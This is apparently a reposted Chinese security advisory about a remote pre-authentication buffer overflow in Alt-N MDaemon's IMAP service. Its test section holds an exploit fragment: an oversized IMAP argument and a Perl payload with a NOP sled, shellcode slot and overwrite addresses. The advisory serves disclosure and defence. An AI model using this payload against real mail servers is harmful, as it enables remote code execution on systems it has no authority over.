Alt-N MDaemon IMAP远程预认证缓冲区溢出漏洞

出处：绿盟科技作者：绿盟科技时间：2006-5-30 13:59:00

发布日期：2006-05-29
更新日期：2006-05-29

受影响系统：

Alt-N MDaemon <= 8.1.3

描述：

BUGTRAQ ID: 18129

Alt-N MDaemon是一款基于Windows的邮件服务程序。

Alt-N MDaemon的IMAP对预认证的处理上存在缓冲区溢出漏洞，远程攻击者可能利用此漏洞在服务器上执行任意指令。

远程攻击者可以在Alt-N MDaemon预认证过程中发送特制消息触发IMAP服务的溢出漏洞，导致执行任意指令。

<*来源：kcope （kingcope@gmx.net）
*>

测试方法：

警告

以下程序(方法)可能带有攻击性，仅供安全研究与教学之用。使用者风险自负！

a001 "[X]\r\n
X为99555字节长。

或者：

$where = "\x4c\x14\xed\x77"; # UnhandledExceptionFilter 77ED144C
#$where = "\x20\xf0\xfd\x7f"; # PEB Lock Pointer 7FFDF000
$what = "\x3d\xb9\x82\x02"; # JMP EDX 03bfcb9A

$nops = "A" x 100;
$a = $nops . $shellcode . ("Z" x (0x2006-length($shellcode)-length($nops))) . $what . $where . ("Z" x (0x184AC - 0x200A - 12));
print $sock "a001 \"$a\r\n";
close($sock);

建议：

厂商补丁：

Alt-N
-----
目前厂商还没有提供补丁或者升级程序，我们建议使用此软件的用户随时关注厂商的主页以获取最新版本：

http://www.altn.com

最新专题

Sendmail 邮件系统配置

组建Exchange 2003邮件系统

Windows Server 2008 专题

ORF 反垃圾邮件系统

Exchange Server 2007 专题

分类导航

邮件网络安全

Alt-N MDaemon IMAP远程预认证缓冲区溢出漏洞